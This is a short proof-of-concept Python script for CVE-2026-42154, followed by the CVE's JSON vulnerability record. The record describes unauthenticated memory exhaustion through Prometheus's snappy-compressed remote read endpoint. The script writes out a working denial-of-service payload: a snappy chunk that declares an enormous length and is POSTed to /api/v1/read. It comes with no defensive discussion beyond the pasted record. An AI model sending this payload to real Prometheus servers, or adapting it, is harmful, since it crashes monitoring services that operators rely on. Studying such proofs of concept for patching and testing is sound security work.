CVE-2026-42154

import requests import struct target = "http://localhost:9090/api/v1/read" # Construct a malicious Snappy stream chunk # Snappy chunk format: [Tag(1 byte)] [Length(3 bytes)] [Data] # Tag 0x01 represents a literal chunk. # We set a huge length to trigger the allocation. huge_length = 0x7FFFFFFF # Max 32-bit signed int # Pack length as 3 bytes little-endian length_bytes = struct.pack('<I', huge_length)[:3] # Payload: Stream identifier + Malformed Chunk # 0xff is stream identifier, followed by 'sNaPpY' payload = b'\xff\x06\x00\x00sNaPpY' # Add a chunk claiming huge size but minimal actual data payload += b'\x01' + length_bytes + b'A' headers = { "Content-Encoding": "snappy", "Content-Type": "application/x-protobuf" } try: r = requests.post(target, data=payload, headers=headers) print(f"Status: {r.status_code}") except Exception as e: print(f"Exploitation attempt failed: {e}")

{"cve": {"id": "CVE-2026-42154", "sourceIdentifier": "[email protected]", "published": "2026-05-04T19:16:04.397", "lastModified": "2026-05-11T17:22:42.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Prometheus is an open-source monitoring system and time series database. Prior to versions 3.5.3 and 3.11.3, the remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process. This issue has been patched in versions 3.5.3 and 3.11.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.3", "matchCriteriaId": "36FDEDDF-199E-43DA-93AF-51C8E40BF389"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.11.3", "matchCriteriaId": "26BB9EEC-D049-4268-953C-E90B253745CE"}]}]}], "references": [{"url": "https://github.com/prometheus/prometheus/pull/18584", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/prometheus/prometheus/pull/18585", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}